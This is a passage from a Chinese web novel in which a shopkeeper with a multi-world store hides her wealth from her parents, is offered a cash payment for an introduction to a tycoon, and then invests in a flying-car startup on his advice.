刚从娱乐圈底层打了个滚出来，萧妧妧知道底层的从业者卷到什么程度，叫不上名字的新人几乎倒贴演戏，即便如此，也不是就能得到机会的。 像是和大导名导合作、大牌老牌演员明星搭档，根本轮不到演艺圈边缘人。 据萧妧妧所知，班上三十多人，选择扎根演艺圈的只有三种人，有钱、有资源、有人脉，除此之外，大部分人浪费不起时间，愤懑过后老实选择换赛道。 萧妧妧就是那个换赛道的人。 “发什么呆呢？去不去你给个话，就半天时间，回来还能继续开门。”张芸催促：“你要不去尽早说，多一张票我好送人，卖出去也不亏，听说值好几百呢。” 萧妧妧：“去去去。” 萧妧妧扫一眼首映时间，转身要回去，张芸一拍脑门，拉住女儿胳膊。 “你跟妈说说，那个什么甲骨文是怎么回事啊？真给一百四十万啊？” 显然，对于女儿突然赚到了一笔认知以外的巨款，萧大明和张芸还恍惚着，做梦一样不真实。 要不是怕亲戚多问，他们早拉着问个清楚了。 萧妧妧拍了协议，又把银行的到账记录一起拿给父母，这才让他们相信事情是真实发生的。 别说他们了，萧妧妧自己也想不到，竟然有一天能通过甲骨文赚到钱。 “妧妧，一百四十万你真全拿去进货了？”夫妻俩高兴了一阵，连声夸萧妧妧平时没白读书，夸得萧妧妧脸红时，两人神情凝重：“我听你小姨说，古董生意不好做的，你开铺子前怎么不和我们商量商量？” 面对爸妈，萧妧妧倒是可以说真话，但这回交待了，回头让爸妈看见满屋子古董，她又不好说解释本金哪来的。 她顿了顿，含糊回应：“差不多，古董艺术品挺贵的，花了百八十万呢。” 萧大明不由犯愁：“小孩子家家的做事太冲动了点，一百四十万呢，不是小钱。 开都开了，我们不说什么了，妧妧你老实说，还剩下多少钱能动？” 萧妧妧见他们一副要说正事的表情，不确定他们想听到哪个答案，迟疑着说：“二十万？或者三十万？” 萧大明一盘算，松了一口气：“够了够了，你手上三十万，我和你妈还存了十五万，加上电影分钱，凑首付没问题。” 张芸不耐烦说：“人家电影没播完呢，亏了赚了谁知道？要我说，你当初不该把钱给老三，不然我们早凑到首付了，妧妧早住上大平层了！” 眼看要翻旧账，萧大明瞬间怂了，心虚开口：“那……缺多少我去借，今年年底把房子的事情解决了。” 萧妧妧本想拒绝，转念一想，账户余额足够，买房子是顺手的事，只是符合她需求的确实不好找。 “买房子是大事，爸妈你们先帮我挑挑，等你们挑好了，钱我也能准备好。”萧妧妧小声提醒：“最近生意不错，赚了不少。你们可别说出去啊。” 张芸凑过来，打听到底赚了多少，萧妧妧刚到手一批高珠，正是得意的时候。 在爸妈再三的追问下，她实在憋不住，翘着嘴角，神秘兮兮地竖起三根手指。 “三万！” “哦呦，闺女真了不起，赚到三万了！” “你妈我看铺子的时候，半年都赚不到三万，真厉害！” 萧大明和张芸围了上来，为萧妧妧赚了三万块钱狂吹彩虹屁。 萧妧妧：…… 萧妧妧欲言又止，好半天，选择了沉默。 算了，三万就三万，说三十万他们不信，说三亿爸妈肯定以为她疯了。 过上一年半载，再慢慢说自己赚到钱了，可信度翻倍。 “对了，妧妧，家里怎么多了好几袋大米啊？我看油也多了好几桶呢。 你别乱买东西，外面买的不健康，我和你妈都是去村子里请人榨油。” 萧妧妧这时想起来，因为存款千万，银行送了不少米面粮油来着，她懒得收拾，一股脑扔在走廊下面，没想到爸妈提前回来撞个正着。 “是给小卖部进的货，我填错地址，人家送到家里来了。”萧妧妧找了个合理借口遮掩。 萧大明听说后，自告奋勇要帮她搬去小卖部，萧妧妧吓得一激灵，赶忙阻止。 为了招待其他位面客人，至少有四分之一的货架摆满了在外人看来乱七八糟的东西，让爸妈过去看见，肯定要逮着她教训，再传授经验该怎么选品。 关键是客房住了人，她爸妈过去她不知道怎么交待。 有些事情一旦解释起来，没完没了，萧妧妧不知道怎么解释，索性瞒着。 反正她爸妈年纪大了精力不够，很少管事，萧妧妧瞒起来容易得很。 “哦，我看上面有个布袋子，印着银行的名，还写存款多少千万什么的，我一看，高兴一跳，以为你中彩票了呢。”萧大明笑眯眯调侃。 3个亿，彩票都不敢中这么大的金额。 萧妧妧顺势胡诌：“哦，是网上花十块钱买的帆布包，寓意好，能招财。” 萧大明摇摇头，嘀咕道：“年轻人怎么比我们老东西还迷信……” 萧妧妧没说什么，咧着嘴嘿嘿笑。 “明天得先去社区一趟，我要告诉他们，我们没有被骗。”张芸握拳，一副扬眉吐气的姿态。 听到爸妈欢乐的斗嘴，萧妧妧舒了一口气，溜回房间。 第二天萧妧妧起迟了，匆匆赶到小卖部开始营业，孟甜甜的采购清单已经放在了柜台上。 等她去客房瞅一眼，床铺重新铺过，但是没人，应该是回去打丧尸了。 萧妧妧翻开客户列表，从黑名单里放出龙傲天，而后忙着大采购。 孟甜甜买的东西不少，好在她足够理智，知道有小卖部在，无需大量备货，只买了急需的物品。 萧妧妧不由感叹，看似愉快的采购其实挺费心神。 要不单独弄个账号卡号让她自己买？ 萧妧妧正思索可行性，188号院门被人敲响。 “小萧老板。” 咚咚咚的动静和耳熟的声音立刻吸引了她，萧妧妧拉开一条门缝，抬眸，恰好看到外面的地中海和…… “韩小姐？” 【作者有话说】 一口气码出来的，超顺，打字飞快，可能会有一时半会注意不到的错别字，先发后改~ 感谢读者“我是不会被诱惑的”,灌溉营养液 +10 85 第85章 ◎收着吧，你该得的◎ 两人并肩等在门前,等萧妧妧从门后探出脑袋，他们齐齐露出礼貌笑容。 狐疑视线来回转一圈，萧妧妧收敛纳闷神色，拉开门请他们进院子说话。 “韩小姐这回是帮韩叔买古墨？”萧妧妧客气地询问。 韩祺脚步踌躇片刻,停在院中,地中海保持着忐忑又礼貌的笑容,亦步亦趋跟来。 “其实,这次拜访是想拜托您一件事。” 两人神情认真，定定地望过来,不像是开玩笑。 又是拜访又是拜托，萧妧妧品出了其他意味,心里越发纳闷。 “韩小姐是想咨询古董艺术品？” 她只是一个开小卖部的大美女，除了赚得有亿点多,并没什么特别的，除此之外萧妧妧实在想不到自己能帮上什么忙。 地中海见状接话：“不不不,和古董没关系,是另一件事。” 他说着,上前两步递来准备好的名片。 萧妧妧古怪地看他们一眼,接过名片细看。 “西风科技总经理……汪旭。”她缓慢读出声。 翻面,名片上写着公司经营业务范围，主要是通用航空器研发制造以及相关的运营服务。 看完了，完全没看懂，萧妧妧没明白写的到底是什么玩意,瞧着挺高精尖的。 韩祺：“我是西风科技的副总经理，我和汪总有个不情之请,如果小萧老板愿意帮忙,我们可以付您一些酬劳。” 他们果然是一伙的！ 萧妧妧拉开门时见他们挨得不远不近,凭直觉猜到两人是认识的关系，不过没证据。 何况他们认识不认识和她关系不大，萧妧妧没有探究的欲.望。 不情之请……萧妧妧一听，当即警惕起来。 怕不是搞诈骗的吧？总不能连着韩叔一起下了连环套？ 萧妧妧装作愣神，实则思考怎么应对，好一会才回应：“我只会经营铺子，你们公司看起来是做高科技的，这……我恐怕帮不上忙。” 地中海、不，是汪旭，他急了，偏头望着韩祺催促她。 韩祺因为和萧妧妧打过交道，主动接下了沟通的重担。 “西风科技是南市的独角兽企业，目前的项目发展处在关键阶段，我们非常希望能够得到黎明集团的参与，期望能与黎总当面交流，不知道小萧老板您方不方便为我们引荐一下？” 韩祺态度恳切又真诚，说清来意，升起戒备心的萧妧妧冷眼看着，结果越听越不对。 “引荐？” “黎行聿那个黎总？” “我？” 萧妧妧像是听到了天方夜谭，神情错愕不已，指着自己连连反问。 汪旭微微躬身，郑重地开口请求：“拜托萧老板了。” 萧妧妧连忙摆手，“你们是不是误会了？黎行聿确实在我家古董铺消费过，不过我们的关系只是商家与消费者。韩小姐那天应该看到了，你知道我不是在说假话。” 现在回想，难怪韩祺一直追问黎行聿，原来抱着别的念头。 汪旭连着几天上门也不是为了其他，而是想守株待兔，在小卖部碰碰运气。 韩祺点头，那天的情况她全看在眼里，却对萧妧妧的说辞不置可否。 黎行聿表现出来的态度不同以往，像是不懂如何开屏的孔雀，扭扭捏捏竖起漂亮羽毛，羞涩地吸引异性目光。 萧妧妧忙着招呼他们大约没能留意，韩祺看得明明白白。 被撇下的黎行聿心不在焉地逛着，看似挑选古董，实则注意力放在萧妧妧身上，频频偷瞥。 正因如此，韩祺的判断受到了影响。 她不太敢相信那是黎行聿。 后来品味一番，她有了新的看法，思索从萧妧妧入手的可能性。 他们承认，是他们病急乱投医，死马当活马医。 项目研发进行到后期，变现的关键时刻，他们需要一个拥有经营权的大资本支持。 自从黎明资本花费500亿拿下低空经营权，*一下子成了全国同行们眼中的香饽饽，一个个飞扑上去，试图得到资本青睐。 黎明资本确实看中了不少企业，囊括了产业链的上中下游，据说还在考察阶段，只选其中最具潜力的几个投资。 西风科技说好听点是后起之秀、黑马之姿，难听点是草根出生，空有技术没人脉门路。 团队摸爬滚打好不容易做出点成绩，想更上一层时认清真相，资本是不可翻越的大山，现在的他们迫不及待需要黎明的投资。 然而竞争者无数，不乏有实力有背景的团队，西风科技显得不太起眼，连黎明的大门都没能踏入，根本排不上号。 事实上，光顾古董铺之前，韩祺一直在京城出差，连续吃了黎明资本小半月的闭门羹。 团队商量一番，打算剑走偏锋，索性绕过黎明资本，从其所属集团黎明集团的大老板下手。 擒贼先擒王，打动了黎明的大老板，招呼黎明资本还不是一句话的事？ 当然，想到这一点的人并不在少数，韩祺老老实实预约行程，发现依然没机会。 先不说黎行聿的行程有多满，商务会面排到了半年后，他们连预约机会都够不着，又不是谁冲过说上几句，就能随随便便和黎行聿坐在一起面对面交流。 西风又一次被拦在了门槛外，门槛里还有一道道门槛，太难了。 一筹莫展的时候，公司那里得到消息，听说黎行聿最近在南市出现，于是急忙召回她。 她运气好，回南市的第二天遇见黎行聿买古董，证实了消息的真实性，可惜时机不对，只能遗憾放弃。 “既然你那天已经认出他，为什么当时没追上去？” 萧妧妧不解，如果韩祺追上去，不比后面的守株待黎行聿省事？不比找她帮忙靠谱？ 韩祺苦笑，坦然说：“实不相瞒，当时确实有过冲动，差点追出去。” “我们做过功课，黎总虽然是工作狂，但工作和私生活的界限一向清晰，那天明显是私人行程，如果冒然追上去打扰，反而会给他留下糟糕印象，我们怕适得其反。” 后来打脸了，因为没能收到黎明集团的确切回复，管理层坐不住下了死命令，韩祺实在没招了，抱着破罐子破摔的态度，决定跟黎行聿的私人行程。 得不得罪的再说吧，先把项目送到人眼前才是要紧。 两人分头行动，一人继续联系黎明的投资人，蹲守大厦停车场，试图当面自荐，另一人则是从萧妧妧这里下工夫，务必找到突破口。 也就有了鬼祟蹲人的汪旭，为此在铺子里消费了一笔。 韩祺说得有几分道理，印象中的大老板们讲究挺多，很容易不高兴，他们谨慎一点在所难免。 “很遗憾，这个忙我帮不上。”萧妧妧听完他们的卖惨小故事，依旧选择冷漠拒绝。 萧妧妧有自知之明，她没这么大的面子，说引荐就能引荐。 关系不到位是一方面，另一面是有些没边界感，她前脚提出引荐，后脚客户没了，黎行聿多半不会再来照顾生意。 同样是客户，显然是黎行聿的份量更重，不能得罪。 帮不上忙是真的，不能帮也是真的。 汪旭欲言又止，急得直挠秃脑壳。 “我们知道，这个要求让您难做了，我们不会让萧老板白忙，”韩祺从公文包里掏出厚厚一叠信封，双手捧递到萧妧妧面前：“如果您愿意为我们引荐黎总，事成后双倍奉上。” 萧妧妧这里要是行不通，他们一时半会找不到其他更快捷有效的途径，错过最佳时机，对公司的打击将会是巨大的。 处在风口的新兴行业，一点时间耽误不得，落后一步基本等于退出竞争，将市场拱手让人，听起来像是夸大其词，实际的竞争只会更加激烈。 来之前他们商量过，只要萧妧妧要求不过份，他们尽量满足，毕竟他们的举动确实不太恰当。 萧妧妧睁大眼睛，望着她手里鼓囊囊的一包东西，沉默。 是她理解的那个意思吗？这是现金吧？她也有被人贿赂的一天？ 看厚度，最少有五万，如果是新币会更多，双倍姑且算它十万吧。 十万和一千万，她还是拎得清的，店铺口碑会影响生意，不是区区十万能解决的事。 萧妧妧震惊一会，深吸气，缓缓开口—— “看来我也不过如此。” 冷淡戏谑的话音突兀响起，修长手指伸来，径直抽走信封，玩味地感受它的份量。 院中三人同时一激灵，他们齐齐偏头，顺着手臂看到了意想不到的人。 黎行聿不知道什么时候来的，又听到多少，此时他出现在院中，闷热的空气骤然降温，气氛陷入凝滞。 萧妧妧头皮发麻，半长着唇，要出口的拒绝卡在喉咙里说不出咽不下。 尤其看到黎行聿西装革履，锋利裤线衬得他气质凌厉，高不可攀的距离感扑面而来，仿佛是另一个世界的人，萧妧妧别扭到忘记打招呼。 “黎、黎总！” 被人撞个正着，汪旭和韩祺无措又彷徨，脸白了一个色号。 两人疯狂转动脑筋，想解释几句却张不开嘴，不知道黎行聿会如何看待他们，会不会因此拒绝他们的项目。 萧妧妧回过神，见势不对，冲着黎行聿笑得憨态可掬，大声解释，免得他误会。 “我什么都没答应！本店诚信经营，绝不透露客户任何信息。”她下意识举起手，一本正经的发誓。 黎行聿轻笑一声，没说什么，只是转手将信封递给了萧妧妧。 萧妧妧：“啊？” “收着吧，你该得的。” 没人能拒绝大水淌来的钱，但……萧妧妧望了望韩祺，感觉手上的钱烫手。 韩祺瞬间明悟，惊喜地说：“对对对，谢谢萧老板帮忙，这是您该得的，剩下一半我们会尽快送来。” 汪旭技术出身，反应不及韩祺迅速，慢半拍回过味来，激动地涨红了脸，着急忙慌翻公文包找文件。 黎行聿侧身，面向韩祺和汪旭二人，“二位自我介绍一下？” 黎行聿转头就变了一张脸，冷漠精英男的气场有点怵，萧妧妧不敢出声打扰，抱着信封躲到一边看热闹。 趁他们说话的工夫，她信封扒开瞄一眼内部，果然是五万钞票。 那边，汪旭和韩祺则忙着自我介绍，忙着递项目书。 黎行聿接过顺势翻看。 说到专业部分，汪旭成了主讲人，机会难得，他卖力地推销项目、推销公司，韩祺在一旁补充打辅助。 两人远不像之前那么从容，挺直脊背，浑身紧绷地站在黎行聿面前，说话时声线轻微颤抖，偶尔打磕巴。 “黎明不缺好项目，西风目前的回报率不足以打动我。” 黎行聿啪一下合上文件，给出不留情面的评价，萧妧妧即使是旁观也感受到了压力，不免替对面的两人捏了把汗。 余光瞟过去，看起来利落的职场精英韩小姐不停眨巴眼睛，脸颊充血，脑门冒出细密汗珠。 汪旭更糟糕，秃脑门变得越发油亮，身上的衬衫很快汗湿一片。 “黎、黎总，我们换个地方报告吧，其实还有一部分数据在电脑里……” 黎行聿拧了拧眉，抬起手腕看表。 韩祺扬声接话：“十分钟！请黎总再给我们十分钟，不管成不成，以后我们都不会打扰萧老板。” 萧妧妧瞄一眼黎行聿，适时出声：“巷子口有一间茶室，那里方便谈正事。” 黎行聿：“二十分钟，这是最后一次机会。” 韩祺和汪旭大喘气，喜不自禁，连忙请黎行聿转移到茶室。 黎行聿转过身，语调染上了温度，“要不要一起听听看？” 萧妧妧又是一愣，她也能听？ “我以为你对他们的项目会比较感兴趣。”黎行聿看出她的疑问，低声解释。 萧妧妧闻言，霎时间面颊滚烫。 她敏锐地捕捉到黎行聿在看清项目书后的那一刻，眼神发生了细微变化。 尽管他面容平静如常，看不出一丝端倪，但玄妙的直觉涌上心头，萧妧妧就是能感知到，黎行聿对汪旭的项目产生了浓厚兴趣。 后来的事验证了她心中所想，如果真是看不上眼的垃圾项目，依照黎行聿的行事风格，绝对不会浪费二十分钟时间，坐下来与之详谈。 有剧情做靠山，萧妧妧比任何人都清楚，黎家兄弟俩堪称火眼金睛的投资眼光有多灵敏毒辣。 他们能看上的项目，对萧妧妧而言，相当于颁发了投资成功的保证书，无非是赚多赚少的差别。 按照她的计划，原本是想等他们谈话结束，萧妧妧试试看有没有机会掺和一下，按理说，应该不会有企业能忍心拒绝送上门的投资。 萧妧妧狠狠心动了，自以为神不知鬼不觉地偷听，终究没能逃过黎行聿的眼。 “对，萧老板不忙的话，一起听听看吧。” 韩祺很会看眼色，领悟到了黎行聿的意思，热情诚挚地发出邀请。 萧妧妧有些尴尬地看了看韩祺汪旭，又将目光投向黎行聿。 【作者有话说】 ：D [亲亲]感谢读者“yu”,灌溉营养液+20 [亲亲]感谢读者“我是不会被诱惑的”,灌溉营养液 +5 [亲亲]感谢读者“隺翯”,灌溉营养液+10 86 第86章 ◎黎行聿，你一定是我的贵人◎ “盛情难却,却之不恭，那我就简单听听吧。” 机会摆在面前，不要白不要，萧妧妧展颜一笑,落落大方地回应。 他投她也投,霸总吃肉,她跟着喝汤。 嘿嘿,听着听着就花点钱投资项目，那不是顺理成章、水到渠成的事吗？ 茶室距离188号不远,有包间，四人进店点了一壶茶,不等上茶，汪旭迫不及待打开电脑推过来。 电脑摆正,萧妧妧好奇靠过来，黎行聿察觉她的体温,身子不自觉僵了两秒,侧了侧屏幕,好让她看得更清楚。 萧妧妧嘿嘿一笑,“我随便看看。” 看到动态图片和分析视频,萧妧妧这才明白所谓的航空器是什么。 浅显一点说，就是飞在天上的车，西风科技的研发范围严格说起来，属于整条产业链的中上游。 他们在行业里深耕八年之久,一直闷头搞研发，到目前为止成果喜人,南市政府非常看好他们,此前为他们牵线搭桥拉过投资。 大家看到了风口,一起扎堆，最近几年相继成立了不少同类型企业，到底谁能走出来，不止看本事，还看背后靠山。 西风科技和大多数同行一样，眼巴巴瞅着黎明资本。 不止是唯大资本论，而是黎明有远见，早早进场布局，拿到了掌控权，可见未来的辉煌。 今天这一遭，在韩祺看来属实有点天降馅饼的意思，能不能把握住机会，就看这二十分钟。 好在有走路的工夫做缓冲，她又吹了一会冷气，一走进包间，韩祺很快找回信心，打起十万分精神应对黎行聿的刁钻问题。 数据部分汪旭做过报告，她深呼吸，等黎行聿粗略看完一遍核心数据，韩祺舔舔干燥的唇，开始自己的战斗。 萧妧妧同样聚精会神，毕竟涉及大金额投资以及回报率，不能马虎。 但是很快，萧妧妧两眼发直，灵动的狐狸眼铺满了无辜与迷茫。 听了，没听懂，只在看到黎行聿点头认可是她才能迟钝意识到，应该是不错的数据。 萧妧妧越发感觉自己在听天书，不出几分钟，开始犯困。 黎行聿小幅度偏头，“政策利好，商业模式足够清晰，目前看运营成本还有很大优化空间，你有什么看法？” 他在问我意见……萧妧妧听到声，赶紧眨巴眨巴眼睛，驱赶瞌睡虫。 “抱歉……其实有点没听懂。”她弱声说。 黎行聿微微俯身凑近，低声问：“哪里没懂？” 萧妧妧偷摸拨动鼠标，指向财务数据那一页。 黎行聿扫一眼，压低声音为她讲解分析财务数据的问题出在哪里。 韩祺看一眼茶桌对面交头接耳的两人，暂停报告，和汪旭对视一眼交换眼神，悄悄吐息缓解紧张情绪。 等两人停了话音，韩祺适时开口。 黎行聿摆出公事公办的态度，无形中带来了巨大压力，然而本该严肃的氛围中，架不住旁边坐了个格格不入的萧妧妧，氛围因此变得和缓许多。 黎行聿没有表示出明确的反对意见，萧妧妧理所当然地认为这样做是被允许的。 看到无法理解的某些内容，她敢凑到黎行聿身边低声寻求帮助。 黎行聿会在这时耐心讲解教学，继而引发深度讨论，某种程度来说，对他们而言属实是件大好事。 黎行聿一面听韩祺报告，一面回应萧妧妧提出的问题，收敛了那股迫人气势，强烈的压迫感骤然消失。 韩祺很快度过最开始的慌张，渐渐稳住心态，越发自如。 龙井茶终于上桌，萧妧妧感念黎行聿的辛苦，殷勤接过茶壶主动倒水。 黎行聿自如地接下茶杯，一副老师考教功课的架势，问：“投资周期还有问题吗？” 韩祺再次停顿，看到萧妧妧小鸡啄米似的点头，重新开口。 如此反复数次，韩祺自觉放慢语速，说到关键部分，会用直白的话解释一遍专业名词。 没见黎行聿显露出不满的意思，韩祺机灵地改变战略，把萧妧妧也当正经投资人看待，一起做报告。 说好二十分钟，有萧妧妧的加入，一场临时的小型会议拉长到半小时。 萧妧妧本来想着投个三四千万意思意思，以后坐等分红，有黎行聿帮忙，拆开了揉碎了分析，萧妧妧意识到西风科技的项目其实很有前景，值得更大投入。 具体的投资金额、股权比例等，萧妧妧是一知半解，但看黎行聿，对着投资意向书挑剔了许多，她不得不谨慎起来。 原来投资不是给个支票就能解决的事啊。 看到黎行聿给了名片，约定时间去黎明讨论协议，萧妧妧知道多半是妥了，只要在签协议前，黎明的投资团队给出的评估报告没问题，后面只剩下走流程和打款。 萧妧妧不像黎行聿，有公司团队和法律顾问把关，后续手续有相应人员负责，她只能等消息。 确定黎明决定入股后，才是她行动的时机。 “感谢黎总，非常感谢，”韩祺自从接了名片，脸快笑烂了，“还要特意感谢萧老板，如果不是萧老板帮忙引荐，西风科技不知道要走多少弯路。如果萧老板对投资感兴趣，可以试试我们西风科技，绝对不会让您失望的。” 萧妧妧让她说得脸红，想起自己是怎么拒绝他们的，不一会又觉得脸疼。 转念一想，萧妧妧不认为自己哪里做错了，不过是立场不同。 她明白的事，韩祺和汪旭也明白，绝口不提萧妧妧此前拒绝的事，熟稔地塞来名片添加联系方式，为以后的合作铺垫。 韩祺和汪旭高高兴兴离开，不太稳重的走姿消失在眼前，萧妧妧浑身轻飘。 黎行聿好笑地看向她：“西风科技潜力巨大，是个不错的项目，不出意外黎明资本会接手后续……你对投资感兴趣？” 萧妧妧提问时明显更关注投资层面的大问题，不只是针对单一的项目，黎行聿品出了其中的差别。 萧妧妧有些意外，没想到黎行聿会提前透露结果，还以为大公司讲究多，奉行保密原则。 她挠挠头，不好意思地笑了笑。 “嗯，很感兴趣。我在辛苦赚钱，我的钱怎么能躺在账户里睡大觉呢？ 最近确实想找点靠谱投资，让它们出去打工，赚钱养我！” 目标宏大，不努力不行啊。 “我会推荐你投西风，”明白她的心思，黎行聿思索片刻，缓缓开口，在韩祺汪旭面前不方便提的，全在这会挑明：“行业前景、政策利好这些你听到了，在我看来，属于稳健投资。” “黎明可以砸十亿二十亿，不在乎等十年二十年，赌它的未来。 个人投资资金相对有限，抗风险能力低，如果目的不是参与公司决策，只追求财务回报，回报周期是需要重点关注的部分。” “恰好，不管是长期还是短期，西风都值得赌一把，最迟两年内可以看到收益。” 萧妧妧咋舌：“十亿二十亿……” 黎行聿嗯了一声，“黎明要得不止是财务回报，还有西风的董事会席位。” 萧妧妧又听懵了，只大概知道要投不少钱。 黎行聿等她回神，继续说：“个人入股只求回报的前提下，我对你的建议是持股百分之十，不超过十五都是比较合适的比例。 当然，资金不足，百分之一也是不错的选择，回报虽有限，勉强算可观。” “具体投资金额要看企业估值，不同行业的估值差异巨大，拿西风科技举例，它是一家成长中的独角兽企业，从事高科技研发生产，估值相对其他行业偏高。” 萧妧妧乖学生一样举手回答：“我记得，估值是48亿。” 黎行聿点头：“股权占比百分之一，最少需要投资五千万。” 萧妧妧一听，松了一口气。 五千万她真的有，哪怕不够，卖点金条也能凑不少，还有可能要出手的帝王紫镯子，努努力，拿下百分之二不是不可能。 百分之十难度太大，她要留点钱投资电影呢，那也是个高回报的好项目。 一番沉思，萧妧妧觉得可以冲百分之一试试。 黎行聿见她意动，漫不经心的提醒：“为了保障权益，最好的办法是走正规流程。其中涉及到的手续和专业咨询必不可少，如果你没有找到合适的人选，可以试试交给我的团队一起处理。” “这件事我会交待刘秘书去办，后续他负责和你对接。” 萧妧妧倏然停下脚步，仰头望向黎行聿。 黎行聿毫无所觉，漫步在夏日的古朴街巷，头顶后背是绿荫打下的斑驳光影，本就颀长的身形此刻看来像巨人一般高大。 萧妧妧想，她一定是走了狗屎运，否则怎么会在接下大笔生意的同时碰见贵人。 “怎么了？” 蝉鸣充斥的街道，黎行聿走出去几米，没能听见萧妧妧轻快的语调，转身发现她落在了身后。 回头望去，会说话的狐狸眼快速眨动，睫毛轻颤，映衬着眼底的小星星。 黎行聿冷不丁对上她视线，凝滞两秒，飞快错开。 他拨了拨碎发，不自在地问。 萧妧妧快步追上来，停在他面前，仰起脑袋，笃定的说：“黎行聿，你一定是我的贵人！” “星座说，本周的天秤运气最佳，财源不断，还能遇见贵人。” “我现在信了，你就是那个贵人。” 黎行聿不曾想她会说出这番论调，幼稚，可爱，直白，坦荡。 “这么说来，你也是我的贵人。”黎行聿轻笑一声回应。 萧妧妧歪头看他。 黎行聿：“如果今天没来找你，岂不是要错过一个稳准不赔的投资项目？说你是我的贵人，这也没错。” 萧妧妧一想还真是，忍不住嘿嘿笑。 “那我们互为贵人？互帮互助？”萧妧妧都要佩服自己的厚脸皮了，停顿一会，又说：“对了，你今天来是要做什么的？会不会耽误你时间？” 一直说些有的没的，差点忘记问他来小卖部有什么事。 萧妧妧握了握拳，眼睛晶晶亮，充满期待地看向他，祈祷他能说出让她满意的话。 “小墨的生日宴会，希望你能参加。”他递来请柬。 萧妧妧只有一丝丝的失望，随即接过请柬翻开。 生日宴这事她听云昭昭提起过，但…… “邀请……我？” 她和黎行墨又不熟，合适吗？ “云老师也会参加。”黎行聿补充。 萧妧妧仍旧迟疑，看上面有着装要求，举办宴会地点是私人庄园，不出意外是非常正式的场合。 “这是小墨进入公司的第一次生日宴，意义不同，会有合作方参加，正好你对投资感兴趣，可以听听他们投的项目和经验，或许有不错的启发。” 萧妧妧耳尖一动，越发犹豫了。 “庄园是黎家私人产业，安全方面可以放心。”黎行聿顿了顿，又说：“我的朋友们对你的古董有些想法，也可以趁这次机会交流一下。” 萧妧妧的心控制不住似的，咚咚跳了几下。 “好，我会去的，谢谢你的邀请。”萧妧妧只要想着是去投资做生意的，就不觉得尴尬了。 反正有云昭昭陪着，大不了凑一起嗑瓜子呗。 萧妧妧喜滋滋收下请柬，转身要进院子，黎行聿跟着进去。 “还有一件事，京城的一个朋友知道你这里有顾景舟的紫砂壶，他托我来问问，愿不愿意出手。” 萧妧妧惊讶回头，“买紫砂壶？” 她计划是送紫砂壶去拍卖，好处是容易卖高价，但不好的地方也很明显，要抽红交税，关键是周期太长，大部分人不做优先考虑。 玉扳指能马上出手，已经是她运气很好。 没看她拿给许年华的那几样东西，自从进库后和失踪一样，不知道什么时候能拍出去。 私下买卖是个很不错的选择，而且黎行聿刚帮了她一个大忙。 综合考虑，萧妧妧很快有了决定。 【作者有话说】 [亲亲] 感谢读者“默然无声”,灌溉营养液 +10 感谢读者“eximious~chyx”,灌溉营养液+1 87 第87章 ◎难道不是你太菜了吗？◎ “卖！当然卖！” “市面上很难找到流通的紫砂壶,价格难免偏高，如果他的报价不能达到我的预期，我会坚持送拍卖行。” 丑话先说在前头，免得别人白跑一趟。 黎行聿：“价格方面不需要担心,他是买来给长辈祝寿,老人家爱收藏紫砂壶。” 萧妧妧心里有数了,紫砂壶多半能顺利出手。 “好啊,他哪天来？我好安排时间。” 是的，萧妧妧现在也是大忙人了,行程满满。 两人商量时间，一前一后进了院子,刚敲定，小卖部传来“咚”的一声。 萧妧妧神情微僵,不着痕迹地挡在黎行聿身前，防止他突然往小卖部方向过去。 “我知道一家南市新开的西餐厅,评价还不错,要不要一起试试看？” 黎行聿沉浸在自己的思绪中,没能注意到院子里的动静,与此同时发出午饭邀约。 萧妧妧一愣,“啊？西餐厅？” 黎行聿察觉她的走神，眼睛时不时瞥向小卖部。 “不喜欢西餐吗？”他问。 萧妧妧：“我比较挑食，外国菜系吃不来。” 只挑外国菜，国内各地菜色她基本不挑,甚至对食物的要求并不苛刻，从这一点来讲,也不能算挑食。 黎行聿：“这一点你倒是和小月亮一样,那我会推荐你来我家做客,尝尝大师的手艺。” 萧妧妧现在没空想别的，一心惦记小卖部的情况，飞快回应道：“好啊，昭昭经常在你家用饭，看她脸上长肉我就知道，你家的大厨很有一手。” 笑死，她想起云昭昭和黎行墨闹别扭的时候，全靠家里大厨高超厨艺换来女主的软化。 黎行墨是懂怎么投喂的，牢牢拴住云昭昭的胃。 听到她不迟疑的答应下来，黎行聿弯起唇角，笑意柔和了面庞。 “今天来不及了，不如过几天？”萧妧妧匆忙看一眼手表。 黎行聿笑容僵硬，好半天才回：“看你的时间安排，我随时可以。” 话音落下，他看到萧妧妧又看向小卖部方向张望。 沉思两秒，他试探着提出告辞。 萧妧妧几乎是秒回话：“我送你出去吧。” 黎行聿深吐息，看她一无所觉的样子，什么情绪都没了。 最终，萧妧妧也没能送他出门，小卖部那里又传来“咚”的一声。 黎行聿一踏出院门，萧妧妧立刻收敛笑容，大迈步奔向店铺里。 “嚯！” 萧妧妧踏进小卖部，实实在在吓得一跳。 “您怎么称呼？” 和初次进店的孟甜甜差不多的狼狈，一身盔甲的男人满头满脸的血污，他瘫坐在地上，生无可恋般望着天花板。 “是我……萧老板。”颤巍巍又带着一点委屈的干涩嗓音，萧妧妧辨别了好一会。 “龙……傲天？”萧妧妧蹲下来，仔细去看他的脸，五官轮廓越看越像他，“你怎么变成这样了？” 萧妧妧是有点幸灾乐祸的，该，让他犯贱打她主意！ 乐得太明显容易得罪客户，萧妧妧抿抿唇，收敛情绪：“殿下这是去打仗了？” 挺好猜的，看他一身盔甲就明白了。 萧妧妧只是没想到，短短几天时间，剧情竟然前进了一大截。 “何止是几日？分明有五个月！”龙傲天顽强抬头，咬牙切齿地纠正她。 萧妧妧抿紧唇角，望着天花板乱瞟。 “萧老板……你知道孤等得有多苦吗？”龙傲天近乎哽咽。 萧妧妧点头，“看出来了。” 顿了顿，萧妧妧又问：“不对啊，物资不是都给你了吗？怎么还能弄成这样？” 龙傲天提起这事不禁涌出一股怒气：“老七！他果然克扣了粮草。不止粮草，他甚至收买了途径几座城的守备，替换武器。” 萧妧妧欲言又止，想说你们国家是不是要完啊，粮草说扣就扣，武器装备说换就换。 男主这是打算造反啊？除此之外，她想不到有什么办法可以在事后遮掩。 “办法？多得是。”龙傲天嗤笑一声，说话间双目倏地赤红，曾经骄傲的储君如今充满暴戾气息。 “你是说……”说出来有挑拨的嫌疑，迟疑一会，萧妧妧含糊道：“不能吧？” 龙傲天强撑着站起，径直挪到桌边，抓起水壶猛灌，难得没再挑剔茶叶差劲。 “就是你想得那样，他想让孤、让五万边军，死在关外。”龙傲天喘息片刻：“只有我们全死了，他做的那些事才能无人知晓。” 萧妧妧望了望结界，龙傲天不知道这是躲哪去了，放眼过去白茫茫一片，似乎在下着暴雪的密林中。 